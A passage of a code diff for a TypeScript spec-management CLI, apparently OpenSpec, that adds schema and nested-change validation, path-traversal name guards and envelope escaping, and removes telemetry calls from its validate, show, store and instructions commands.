} from '../core/artifact-graph/resolver.js';
|
||||
import { parseSchema, SchemaValidationError } from '../core/artifact-graph/schema.js';
|
||||
import {
|
||||
findApplyTracksWarning,
|
||||
parseSchema,
|
||||
SchemaValidationError,
|
||||
} from '../core/artifact-graph/schema.js';
|
||||
import type { SchemaYaml, Artifact } from '../core/artifact-graph/types.js';
|
||||
import { resolveConfigFilePath } from '../core/project-config.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
/**
|
||||
* Schema source location type
|
||||
@@ -228,13 +231,20 @@ function validateSchema(
|
||||
}
|
||||
}
|
||||
|
||||
// Dependency graph validation is already done by parseSchema
|
||||
// (it throws on cycles and invalid references)
|
||||
// Dependency graph validation is already done by parseSchema (it throws on
|
||||
// cycles, invalid references, and an unknown apply.requires id)
|
||||
if (verbose) {
|
||||
console.log(' Dependency graph validation passed (via parseSchema)');
|
||||
}
|
||||
|
||||
return { valid: issues.length === 0, issues };
|
||||
// An apply.tracks value that matches no generates value exactly still loads
|
||||
// (apply reads the path as written), so it is a warning, not an error.
|
||||
const tracksWarning = findApplyTracksWarning(schema);
|
||||
if (tracksWarning) {
|
||||
issues.push({ level: 'warning', path: 'apply.tracks', message: tracksWarning });
|
||||
}
|
||||
|
||||
return { valid: !issues.some((issue) => issue.level === 'error'), issues };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -741,6 +751,9 @@ export function registerSchemaCommand(program: Command): void {
|
||||
} else {
|
||||
if (result.valid) {
|
||||
console.log(`✓ Schema '${name}' is valid`);
|
||||
for (const issue of result.issues) {
|
||||
console.log(` ${issue.level}: ${issue.message}`);
|
||||
}
|
||||
} else {
|
||||
console.log(`✗ Schema '${name}' has errors:`);
|
||||
for (const issue of result.issues) {
|
||||
@@ -1085,7 +1098,7 @@ export function registerSchemaCommand(program: Command): void {
|
||||
|
||||
if (isInteractive) {
|
||||
// Interactive mode
|
||||
const { input, checkbox, confirm } = await loadPrompts();
|
||||
const { input, checkbox, confirm } = await import('@inquirer/prompts');
|
||||
|
||||
description = await input({
|
||||
message: 'Schema description:',
|
||||
@@ -1409,11 +1422,17 @@ export function registerSchemaCommand(program: Command): void {
|
||||
|
||||
/**
|
||||
* Create default template content for an artifact.
|
||||
*
|
||||
* Every template opens with a top-level heading so the artifact it produces is
|
||||
* a well-formed markdown document rather than a file whose first line is a
|
||||
* section header (markdownlint MD041, #1138).
|
||||
*/
|
||||
function createDefaultTemplate(artifactId: string): string {
|
||||
switch (artifactId) {
|
||||
case 'proposal':
|
||||
return `## Why
|
||||
return `# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Describe the motivation for this change -->
|
||||
|
||||
@@ -1435,7 +1454,9 @@ function createDefaultTemplate(artifactId: string): string {
|
||||
`;
|
||||
|
||||
case 'specs':
|
||||
return `## ADDED Requirements
|
||||
return `# Spec Delta
|
||||
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Example requirement
|
||||
|
||||
@@ -1447,7 +1468,9 @@ Description of the requirement.
|
||||
`;
|
||||
|
||||
case 'design':
|
||||
return `## Context
|
||||
return `# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Background and context -->
|
||||
|
||||
@@ -1474,7 +1497,9 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
case 'tasks':
|
||||
return `## Implementation Tasks
|
||||
return `# Tasks
|
||||
|
||||
## Implementation Tasks
|
||||
|
||||
- [ ] Task 1
|
||||
- [ ] Task 2
|
||||
@@ -1482,7 +1507,7 @@ Description and rationale.
|
||||
`;
|
||||
|
||||
default:
|
||||
return `## ${artifactId}
|
||||
return `# ${artifactId}
|
||||
|
||||
<!-- Add content here -->
|
||||
`;
|
||||
|
||||
@@ -5,7 +5,6 @@
|
||||
* array in JSON mode.
|
||||
*/
|
||||
import { StoreError, type StoreDiagnostic } from '../core/store/errors.js';
|
||||
import { markOutcome } from '../telemetry/cli-runtime.js';
|
||||
|
||||
export function printJson(payload: unknown): void {
|
||||
console.log(JSON.stringify(payload, null, 2));
|
||||
@@ -51,11 +50,6 @@ export function emitFailure(
|
||||
error: unknown,
|
||||
fallbackCode: string
|
||||
): void {
|
||||
// The other shared failure seam. Most commands set process.exitCode here
|
||||
// rather than throwing to the CLI's catch, so without this the whole
|
||||
// command layer's failures arrive unclassified and get filed as our bugs.
|
||||
markOutcome(error);
|
||||
|
||||
// Ctrl-C in a prompt is the user's choice, not an error: every
|
||||
// command group gets the Cancelled./130 convention through here.
|
||||
if (!json && isPromptCancellationError(error)) {
|
||||
|
||||
@@ -11,7 +11,6 @@ import {
|
||||
import { ChangeCommand } from './change.js';
|
||||
import { SpecCommand } from './spec.js';
|
||||
import { nearestMatches } from '../utils/match.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
type ItemType = 'change' | 'spec';
|
||||
|
||||
@@ -39,7 +38,7 @@ export class ShowCommand {
|
||||
|
||||
if (!itemName) {
|
||||
if (interactive) {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
const type = await select<ItemType>({
|
||||
message: 'What would you like to show?',
|
||||
choices: [
|
||||
@@ -77,7 +76,7 @@ export class ShowCommand {
|
||||
options: ShowExecuteOptions,
|
||||
root: ResolvedOpenSpecRoot
|
||||
): Promise<void> {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
if (type === 'change') {
|
||||
const changes = await getActiveChangeIds(root.path);
|
||||
if (changes.length === 0) {
|
||||
|
||||
@@ -9,8 +9,6 @@ import { isInteractive } from '../utils/interactive.js';
|
||||
import { getSpecIds } from '../utils/item-discovery.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
import { markCheckFailed } from '../telemetry/cli-runtime.js';
|
||||
|
||||
const SPECS_DIR = 'openspec/specs';
|
||||
|
||||
@@ -108,7 +106,7 @@ export class SpecCommand {
|
||||
const canPrompt = isInteractive(options);
|
||||
const specIds = await getSpecIds(this.rootPath ?? process.cwd());
|
||||
if (canPrompt && specIds.length > 0) {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
specId = await select({
|
||||
message: 'Select a spec to show',
|
||||
choices: specIds.map(id => ({ name: id, value: id })),
|
||||
@@ -244,7 +242,7 @@ export function registerSpecCommand(rootProgram: typeof program) {
|
||||
const canPrompt = isInteractive(options);
|
||||
const specIds = await getSpecIds();
|
||||
if (canPrompt && specIds.length > 0) {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
specId = await select({
|
||||
message: 'Select a spec to validate',
|
||||
choices: specIds.map(id => ({ name: id, value: id })),
|
||||
@@ -279,7 +277,6 @@ export function registerSpecCommand(rootProgram: typeof program) {
|
||||
});
|
||||
}
|
||||
}
|
||||
if (!report.valid) markCheckFailed();
|
||||
process.exitCode = report.valid ? 0 : 1;
|
||||
} catch (error) {
|
||||
console.error(`Error: ${error instanceof Error ? error.message : 'Unknown error'}`);
|
||||
|
||||
+10
-8
@@ -27,7 +27,6 @@ import {
|
||||
type SetupStoreInput,
|
||||
} from '../core/store/index.js';
|
||||
import { isInteractive } from '../utils/interactive.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
|
||||
interface StoreSetupOptions {
|
||||
path?: string;
|
||||
@@ -224,7 +223,7 @@ function formatPathForHuman(targetPath: string): string {
|
||||
}
|
||||
|
||||
async function promptStoreId(): Promise<string> {
|
||||
const { input } = await loadPrompts();
|
||||
const { input } = await import('@inquirer/prompts');
|
||||
|
||||
return input({
|
||||
message: 'Store name',
|
||||
@@ -241,7 +240,7 @@ async function promptStoreId(): Promise<string> {
|
||||
}
|
||||
|
||||
async function promptStorePath(id: string): Promise<string> {
|
||||
const { input } = await loadPrompts();
|
||||
const { input } = await import('@inquirer/prompts');
|
||||
// Suggest a visible, user-owned location — never the managed XDG data dir.
|
||||
const defaultPath = ['~', 'openspec', id].join('/');
|
||||
|
||||
@@ -295,16 +294,19 @@ async function resolveSetupInput(
|
||||
|
||||
async function prepareSetupInput(
|
||||
input: ResolvedStoreSetupInput,
|
||||
_options: StoreSetupOptions
|
||||
options: StoreSetupOptions
|
||||
) {
|
||||
return prepareStoreSetup(input);
|
||||
return prepareStoreSetup({
|
||||
...input,
|
||||
...(options.initGit !== undefined ? { initGit: options.initGit } : {}),
|
||||
});
|
||||
}
|
||||
|
||||
async function confirmSetup(
|
||||
prepared: Awaited<ReturnType<typeof prepareStoreSetup>>,
|
||||
initGit: boolean
|
||||
): Promise<void> {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
|
||||
console.log('');
|
||||
console.log('OpenSpec will create:');
|
||||
@@ -345,7 +347,7 @@ async function confirmRemove(id: string, root: string, options: StoreRemoveOptio
|
||||
);
|
||||
}
|
||||
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
const confirmed = await confirm({
|
||||
message: `Delete local store folder ${formatPathForHuman(root)}?`,
|
||||
default: false,
|
||||
@@ -371,7 +373,7 @@ function isRegisterIdentityConfirmationError(error: unknown): boolean {
|
||||
}
|
||||
|
||||
async function confirmRegisterConversion(error: unknown): Promise<void> {
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
const confirmed = await confirm({
|
||||
message: asErrorMessage(error),
|
||||
default: false,
|
||||
|
||||
+77
-11
@@ -1,6 +1,12 @@
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
NESTED_CHANGE_ISSUE_MARKER,
|
||||
} from '../utils/nested-change.js';
|
||||
import { Validator } from '../core/validation/validator.js';
|
||||
import type { ValidationIssue } from '../core/validation/types.js';
|
||||
import { VALIDATION_MESSAGES } from '../core/validation/constants.js';
|
||||
import {
|
||||
resolveRootForCommand,
|
||||
@@ -16,8 +22,7 @@ import { nearestMatches } from '../utils/match.js';
|
||||
import { promises as fs } from 'fs';
|
||||
import { getTaskProgressDetailForChange, type SchemaGlobCache } from '../utils/task-progress.js';
|
||||
import { FileSystemUtils } from '../utils/file-system.js';
|
||||
import { loadPrompts } from '../utils/prompt-module.js';
|
||||
import { markCheckFailed } from '../telemetry/cli-runtime.js';
|
||||
import { folderStyleNameProblem } from '../core/id.js';
|
||||
|
||||
type ItemType = 'change' | 'spec';
|
||||
|
||||
@@ -172,7 +177,7 @@ export class ValidateCommand {
|
||||
}
|
||||
|
||||
private async runInteractiveSelector(root: ResolvedOpenSpecRoot, opts: { strict: boolean; json: boolean; concurrency?: string }): Promise<void> {
|
||||
const { select } = await loadPrompts();
|
||||
const { select } = await import('@inquirer/prompts');
|
||||
const choice = await select({
|
||||
message: 'What would you like to validate?',
|
||||
choices: [
|
||||
@@ -272,11 +277,63 @@ export class ValidateCommand {
|
||||
await this.validateByType(root, type, itemName, opts);
|
||||
}
|
||||
|
||||
/**
|
||||
* A namespace folder wrapping nested change directories has no deltas of its
|
||||
* own and never will. The usual "add a delta spec" error points the author at
|
||||
* a directory that is not the change, so the nesting is reported instead
|
||||
* (#1846). Returns undefined for every ordinary change.
|
||||
*/
|
||||
private async nestedChangeReport(
|
||||
root: ResolvedOpenSpecRoot,
|
||||
id: string
|
||||
): Promise<{ valid: false; issues: ValidationIssue[] } | undefined> {
|
||||
const nested = await findNestedChangesIn(root.changesDir, id);
|
||||
if (!nested) return undefined;
|
||||
return {
|
||||
valid: false,
|
||||
issues: [{ level: 'ERROR', path: 'file', message: describeNestedChange(nested) }],
|
||||
};
|
||||
}
|
||||
|
||||
private async validateByType(root: ResolvedOpenSpecRoot, type: ItemType, id: string, opts: { strict: boolean; json: boolean }): Promise<void> {
|
||||
// `--type` skips the membership check above, so the name still has to be
|
||||
// guarded before it is joined onto a directory. `show` already rejects a
|
||||
// traversing id.
|
||||
//
|
||||
// Spec ids are nested (`specs/<area>/<capability>/spec.md`, #1353), so the
|
||||
// guard runs per segment - rejecting the whole id for containing a `/`
|
||||
// would break every nested capability, including the hint that
|
||||
// `validate --specs` prints. Change names are flat, so they keep the
|
||||
// whole-value check.
|
||||
const nameProblem =
|
||||
type === 'change'
|
||||
? folderStyleNameProblem(id, 'Change name')
|
||||
: (id.split('/').map((segment) => folderStyleNameProblem(segment, 'Spec id')).find(Boolean) ?? null);
|
||||
if (nameProblem) {
|
||||
if (opts.json) {
|
||||
console.log(
|
||||
JSON.stringify(
|
||||
{ status: [{ severity: 'error', code: 'invalid_item', message: nameProblem }] },
|
||||
null,
|
||||
2
|
||||
)
|
||||
);
|
||||
} else {
|
||||
console.error(nameProblem);
|
||||
}
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const validator = new Validator(opts.strict);
|
||||
if (type === 'change') {
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const start = Date.now();
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
this.printReport('change', id, nestedReport, Date.now() - start, opts.json, root);
|
||||
process.exitCode = 1;
|
||||
return;
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
@@ -284,7 +341,6 @@ export class ValidateCommand {
|
||||
const durationMs = Date.now() - start;
|
||||
this.printReport('change', id, report, durationMs, opts.json, root);
|
||||
// Non-zero exit if invalid (keeps enriched output test semantics)
|
||||
if (!report.valid) markCheckFailed();
|
||||
process.exitCode = report.valid ? 0 : 1;
|
||||
return;
|
||||
}
|
||||
@@ -293,7 +349,6 @@ export class ValidateCommand {
|
||||
const report = await validator.validateSpec(file);
|
||||
const durationMs = Date.now() - start;
|
||||
this.printReport('spec', id, report, durationMs, opts.json, root);
|
||||
if (!report.valid) markCheckFailed();
|
||||
process.exitCode = report.valid ? 0 : 1;
|
||||
}
|
||||
|
||||
@@ -329,7 +384,13 @@ export class ValidateCommand {
|
||||
const invalidMarkerIssue = issues.some(i =>
|
||||
i.message.includes(VALIDATION_MESSAGES.CHANGE_SKIP_SPECS_INVALID_METADATA)
|
||||
);
|
||||
if (type === 'change' && conflictIssue) {
|
||||
// A namespace folder has no deltas to author, so the delta-authoring
|
||||
// bullets below would point at a directory that is not the change (#1846).
|
||||
const nestedIssue = issues.some(i => i.message.includes(NESTED_CHANGE_ISSUE_MARKER));
|
||||
if (type === 'change' && nestedIssue) {
|
||||
bullets.push('- Move each nested change directly under openspec/changes/, folding the namespace into its name');
|
||||
bullets.push('- Only specs may be nested by domain; change directories are always flat');
|
||||
} else if (type === 'change' && conflictIssue) {
|
||||
bullets.push('- This change declares skip_specs (no spec deltas): delete the files under specs/, or remove skip_specs from .openspec.yaml if requirements do change');
|
||||
bullets.push('- skip_specs is only honored when .openspec.yaml is valid change metadata (schema: <name> naming a known schema is required)');
|
||||
} else if (type === 'change' && invalidMarkerIssue) {
|
||||
@@ -396,6 +457,16 @@ export class ValidateCommand {
|
||||
queue.push(async () => {
|
||||
const start = Date.now();
|
||||
const changeDir = path.join(root.changesDir, id);
|
||||
const nestedReport = await this.nestedChangeReport(root, id);
|
||||
if (nestedReport) {
|
||||
return {
|
||||
id,
|
||||
type: 'change' as const,
|
||||
valid: false,
|
||||
issues: nestedReport.issues,
|
||||
durationMs: Date.now() - start,
|
||||
};
|
||||
}
|
||||
const report = await validator.validateChangeDeltaSpecs(changeDir, {
|
||||
mainSpecsDir: root.specsDir,
|
||||
projectRoot: root.path,
|
||||
@@ -501,8 +572,6 @@ export class ValidateCommand {
|
||||
this.printBulkDetails(results, root);
|
||||
}
|
||||
|
||||
if (failed > 0) markCheckFailed();
|
||||
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
@@ -602,7 +671,6 @@ export class ValidateCommand {
|
||||
|
||||
if (opts.findingsScope) {
|
||||
this.printFindingsReport({ items: results, summary, root: toRootOutput(root) }, opts.findingsScope, opts.json, root);
|
||||
if (failed > 0) markCheckFailed();
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
return;
|
||||
}
|
||||
@@ -610,7 +678,6 @@ export class ValidateCommand {
|
||||
if (opts.json) {
|
||||
const out = { items: results, summary, version: '1.0', root: toRootOutput(root) };
|
||||
console.log(JSON.stringify(out, null, 2));
|
||||
if (failed > 0) markCheckFailed();
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
return;
|
||||
}
|
||||
@@ -635,7 +702,6 @@ export class ValidateCommand {
|
||||
}
|
||||
}
|
||||
console.log(`Totals: ${summary.totals.passed} passed, ${summary.totals.failed} failed (${summary.totals.items} items)`);
|
||||
if (failed > 0) markCheckFailed();
|
||||
process.exitCode = failed > 0 ? 1 : 0;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,6 +17,7 @@ import {
|
||||
type ArtifactInstructions,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { isSpecsArtifactPath } from '../../core/artifact-graph/outputs.js';
|
||||
import { findUnreadDeltaFiles } from '../../utils/spec-discovery.js';
|
||||
import {
|
||||
getChangeDir,
|
||||
resolveCurrentPlanningHomeSync,
|
||||
@@ -31,8 +32,11 @@ import {
|
||||
} from '../../core/root-selection.js';
|
||||
import {
|
||||
assembleReferenceIndex,
|
||||
escapeEnvelopeAttribute,
|
||||
escapeEnvelopeTags,
|
||||
renderReferencedStoresBlock,
|
||||
renderReferencedStoresSection,
|
||||
sanitizeInline,
|
||||
type ReferenceIndexEntry,
|
||||
} from '../../core/references.js';
|
||||
import { readRegistrySnapshot } from '../../core/store/registry.js';
|
||||
@@ -198,8 +202,14 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
unlocks,
|
||||
} = instructions;
|
||||
|
||||
// Opening tag
|
||||
console.log(`<artifact id="${artifactId}" change="${changeName}" schema="${schemaName}">`);
|
||||
// Opening tag. The change name is a directory name read from disk, and the
|
||||
// read path rejects only separators and NUL - a quote in it would otherwise
|
||||
// close the attribute and forge siblings on this tag.
|
||||
console.log(
|
||||
`<artifact id="${escapeEnvelopeAttribute(artifactId)}"` +
|
||||
` change="${escapeEnvelopeAttribute(changeName)}"` +
|
||||
` schema="${escapeEnvelopeAttribute(schemaName)}">`
|
||||
);
|
||||
console.log();
|
||||
|
||||
// Artifacts skipped via skip_specs get no creation directive: emitting the
|
||||
@@ -226,8 +236,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
|
||||
// Task directive
|
||||
console.log('<task>');
|
||||
console.log(`Create the ${artifactId} artifact for change "${changeName}".`);
|
||||
console.log(description);
|
||||
console.log(
|
||||
`Create the ${escapeEnvelopeTags(artifactId)} artifact for change "${escapeEnvelopeTags(changeName)}".`
|
||||
);
|
||||
console.log(escapeEnvelopeTags(description));
|
||||
console.log('</task>');
|
||||
console.log();
|
||||
|
||||
@@ -235,7 +247,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
if (context) {
|
||||
console.log('<project_context>');
|
||||
console.log('<!-- This is background information for you. Do NOT include this in your output. -->');
|
||||
console.log(context);
|
||||
console.log(escapeEnvelopeTags(context));
|
||||
console.log('</project_context>');
|
||||
console.log();
|
||||
}
|
||||
@@ -251,7 +263,9 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
console.log('<rules>');
|
||||
console.log('<!-- These are constraints for you to follow. Do NOT include this in your output. -->');
|
||||
for (const rule of rules) {
|
||||
console.log(`- ${rule}`);
|
||||
// Flattened so a newline cannot forge a sibling bullet, but never
|
||||
// truncated: these are instructions an agent has to follow in full.
|
||||
console.log(`- ${escapeEnvelopeTags(sanitizeInline(rule, Infinity))}`);
|
||||
}
|
||||
console.log('</rules>');
|
||||
console.log();
|
||||
@@ -276,7 +290,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
const fullPath = path.join(changeDir, dep.path);
|
||||
console.log(`<dependency id="${dep.id}" status="${status}">`);
|
||||
console.log(` <path>${fullPath}</path>`);
|
||||
console.log(` <description>${dep.description}</description>`);
|
||||
console.log(` <description>${escapeEnvelopeTags(dep.description)}</description>`);
|
||||
console.log('</dependency>');
|
||||
}
|
||||
console.log('</dependencies>');
|
||||
@@ -292,7 +306,7 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Instruction (guidance)
|
||||
if (instruction) {
|
||||
console.log('<instruction>');
|
||||
console.log(instruction.trim());
|
||||
console.log(escapeEnvelopeTags(instruction.trim()));
|
||||
console.log('</instruction>');
|
||||
console.log();
|
||||
}
|
||||
@@ -300,7 +314,10 @@ export function printInstructionsText(instructions: ArtifactInstructions, isBloc
|
||||
// Template
|
||||
console.log('<template>');
|
||||
console.log('<!-- Use this as the structure for your output file. Fill in the sections. -->');
|
||||
console.log(template.trim());
|
||||
// Copied verbatim into the artifact file, so its `<!-- ... -->` comments and
|
||||
// `<placeholder>` markers must survive - only the envelope's own closing
|
||||
// tags are neutralized.
|
||||
console.log(escapeEnvelopeTags(template.trim()));
|
||||
console.log('</template>');
|
||||
console.log();
|
||||
|
||||
@@ -436,14 +453,18 @@ function collectMissingPrerequisites(input: {
|
||||
* reached tasks yet, the missing specs are the next step rather than a warning.
|
||||
* Schemas that declare no spec-producing artifact carry `skip_specs` from
|
||||
* creation, so this never fires on them.
|
||||
*
|
||||
* A delta file the merge path never reads (specs/<capability>.md, a note
|
||||
* beside spec.md) still satisfies the specs glob, so it reads as written here
|
||||
* while validate rejects it and archive would drop it. Each one is named.
|
||||
*/
|
||||
function collectApplyWarnings(input: {
|
||||
async function collectApplyWarnings(input: {
|
||||
state: ApplyInstructions['state'];
|
||||
schema: { artifacts: { id: string; generates: string }[] };
|
||||
changeDir: string;
|
||||
changeName: string;
|
||||
skippedArtifacts?: Set<string>;
|
||||
}): string[] {
|
||||
}): Promise<string[]> {
|
||||
const { state, schema, changeDir, changeName, skippedArtifacts } = input;
|
||||
if (state === 'blocked') return [];
|
||||
|
||||
@@ -452,10 +473,15 @@ function collectApplyWarnings(input: {
|
||||
);
|
||||
if (specArtifacts.length === 0) return [];
|
||||
if (specArtifacts.some((artifact) => skippedArtifacts?.has(artifact.id))) return [];
|
||||
const warnings = (await findUnreadDeltaFiles(path.join(changeDir, 'specs'))).map(
|
||||
(file) =>
|
||||
`specs/${file.path} is not a capability's spec.md, so \`openspec validate ${changeName}\` rejects it and archive never merges it. ` +
|
||||
`Move its requirements into specs/${file.expected}.`
|
||||
);
|
||||
const hasDeltas = specArtifacts.some(
|
||||
(artifact) => resolveArtifactOutputs(changeDir, artifact.generates).length > 0
|
||||
);
|
||||
if (hasDeltas) return [];
|
||||
if (hasDeltas) return warnings;
|
||||
|
||||
const metadataPath = path.join(changeDir, METADATA_FILENAME);
|
||||
// The command names the artifact this schema actually declares, never the
|
||||
@@ -466,6 +492,7 @@ function collectApplyWarnings(input: {
|
||||
// a placeholder rather than a guess.
|
||||
const specTarget = specArtifacts.length === 1 ? specArtifacts[0].id : '<artifact-id>';
|
||||
return [
|
||||
...warnings,
|
||||
`This change has no delta specs and does not declare \`skip_specs: true\`, so \`openspec validate ${changeName}\` fails on it. ` +
|
||||
`Write the delta specs before implementing (\`openspec instructions ${specTarget} --change ${changeName}\`), ` +
|
||||
`or add \`skip_specs: true\` to ${metadataPath} if this change really changes no specified behavior.`,
|
||||
@@ -608,7 +635,7 @@ export async function generateApplyInstructions(
|
||||
instruction = schemaInstruction?.trim() ?? 'Read context files, work through pending tasks, mark complete as you go.\nPause if you hit blockers or need clarification.';
|
||||
}
|
||||
|
||||
const warnings = collectApplyWarnings({
|
||||
const warnings = await collectApplyWarnings({
|
||||
state,
|
||||
schema,
|
||||
changeDir,
|
||||
@@ -814,6 +841,8 @@ function printOperationInputsText(inputs: {
|
||||
}): void {
|
||||
if (inputs.context) {
|
||||
console.log('### Project Context (required instruction input)');
|
||||
// Printed verbatim on purpose. Escaping a leading `#` would also fire inside
|
||||
// fenced code (`# install deps`), so heading forgery is not guarded here.
|
||||
console.log(inputs.context);
|
||||
console.log();
|
||||
}
|
||||
@@ -821,7 +850,7 @@ function printOperationInputsText(inputs: {
|
||||
if (inputs.operationGuidance && inputs.operationGuidance.length > 0) {
|
||||
console.log('### Operation Guidance (advisory)');
|
||||
for (const guidance of inputs.operationGuidance) {
|
||||
console.log(`- ${guidance}`);
|
||||
console.log(`- ${sanitizeInline(guidance, Infinity)}`);
|
||||
}
|
||||
console.log();
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
* this command.
|
||||
*/
|
||||
|
||||
import chalk from 'chalk';
|
||||
import ora from 'ora';
|
||||
import path from 'path';
|
||||
import { createChange, validateChangeName } from '../../utils/change-utils.js';
|
||||
@@ -85,6 +86,33 @@ function printCreatedChangeHuman(
|
||||
console.log(`Next: ${withStoreFlag(root, `openspec status --change ${payload.change.id}`)}`);
|
||||
}
|
||||
|
||||
/**
|
||||
* An implicit root is the fallback taken when no `openspec/` directory was
|
||||
* found: creating a change there materializes OpenSpec in whatever directory
|
||||
* the caller happened to be in, which is how an agent ends up adopting a
|
||||
* project that never ran `openspec init` (#1645). The creation itself stays
|
||||
* zero-config; this only makes it visible.
|
||||
*/
|
||||
function printImplicitRootNotice(root: ResolvedOpenSpecRoot): void {
|
||||
if (root.source !== 'implicit') {
|
||||
return;
|
||||
}
|
||||
|
||||
const openspecDir = path.dirname(root.changesDir);
|
||||
const relative = path.relative(process.cwd(), openspecDir);
|
||||
const location = relative && !relative.startsWith('..') ? relative : openspecDir;
|
||||
|
||||
console.log();
|
||||
console.log(
|
||||
chalk.dim(`Note: no OpenSpec root was found here, so one was created at ${location}/.`)
|
||||
);
|
||||
console.log(
|
||||
chalk.dim(
|
||||
'Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
export async function newChangeCommand(name: string | undefined, options: NewChangeOptions): Promise<void> {
|
||||
const spinner = options.json ? undefined : ora();
|
||||
|
||||
@@ -153,6 +181,7 @@ export async function newChangeCommand(name: string | undefined, options: NewCha
|
||||
|
||||
spinner?.stop();
|
||||
printCreatedChangeHuman(payload, root);
|
||||
printImplicitRootNotice(root);
|
||||
} catch (error) {
|
||||
spinner?.stop();
|
||||
if (options.json) {
|
||||
|
||||
@@ -7,6 +7,10 @@
|
||||
|
||||
import chalk from 'chalk';
|
||||
import path from 'path';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChangesIn,
|
||||
} from '../../utils/nested-change.js';
|
||||
import * as fs from 'fs';
|
||||
import { getSchemaDir, listSchemas } from '../../core/artifact-graph/index.js';
|
||||
import type { ReferenceIndexEntry } from '../../core/references.js';
|
||||
@@ -231,6 +235,14 @@ export async function validateChangeExists(
|
||||
);
|
||||
}
|
||||
|
||||
// The directory exists but is a namespace folder wrapping nested change
|
||||
// directories. Every artifact lookup below it would report "not started" for
|
||||
// work that is in fact there, so say what is actually wrong instead (#1846).
|
||||
const nested = await findNestedChangesIn(changesDir, changeName);
|
||||
if (nested) {
|
||||
throw new Error(describeNestedChange(nested));
|
||||
}
|
||||
|
||||
return changeName;
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,12 @@ import {
|
||||
formatChangeStatus,
|
||||
type ChangeStatus,
|
||||
} from '../../core/artifact-graph/index.js';
|
||||
import { resolveNextStep } from '../../core/change-status-policy.js';
|
||||
import { asStatus } from '../shared-output.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChanges,
|
||||
} from '../../utils/nested-change.js';
|
||||
import type { StoreDiagnostic } from '../../core/store/errors.js';
|
||||
import {
|
||||
validateChangeExists,
|
||||
@@ -82,6 +87,11 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
const rootOutput = toRootOutput(root);
|
||||
const newChangeHint = withStoreFlag(root, 'openspec new change <name>');
|
||||
|
||||
// One store-flag decision serves the JSON `nextSteps` sentence and the text
|
||||
// `Next:` line, so a store-selected root can never carry `--store` in one
|
||||
// and drop it from the other.
|
||||
const storeOptions = isStoreSelectedRoot(root) ? { storeId: root.storeId } : {};
|
||||
|
||||
// Single definition of "load one change's status" so the batch and
|
||||
// single-change payloads can never drift apart.
|
||||
const loadStatus = (changeName: string): ChangeStatus =>
|
||||
@@ -90,7 +100,7 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
changeDir: getChangeDir(planningHome, changeName),
|
||||
planningHome,
|
||||
}),
|
||||
isStoreSelectedRoot(root) ? { storeId: root.storeId } : {}
|
||||
storeOptions
|
||||
);
|
||||
|
||||
// Handle no-changes case gracefully — status is informational,
|
||||
@@ -124,7 +134,25 @@ export async function statusCommand(options: StatusOptions): Promise<void> {
|
||||
// with the same comparator validate --all uses so the two batch
|
||||
// commands order a given change set identically.
|
||||
const entries: BatchStatusEntry[] = [];
|
||||
// The sweep reads each directory straight through `loadStatus`, so a
|
||||
// namespace folder wrapping nested changes would report a whole
|
||||
// artifact plan for work that is not there (#1846). It carries the same
|
||||
// per-change diagnostic a malformed change does.
|
||||
const nestedByName = new Map(
|
||||
(await findNestedChanges(root.changesDir, available)).map((finding) => [
|
||||
finding.name,
|
||||
finding,
|
||||
])
|
||||
);
|
||||
for (const changeName of available.sort((a, b) => a.localeCompare(b))) {
|
||||
const nested = nestedByName.get(changeName);
|
||||
if (nested) {
|
||||
entries.push({
|
||||
changeName,
|
||||
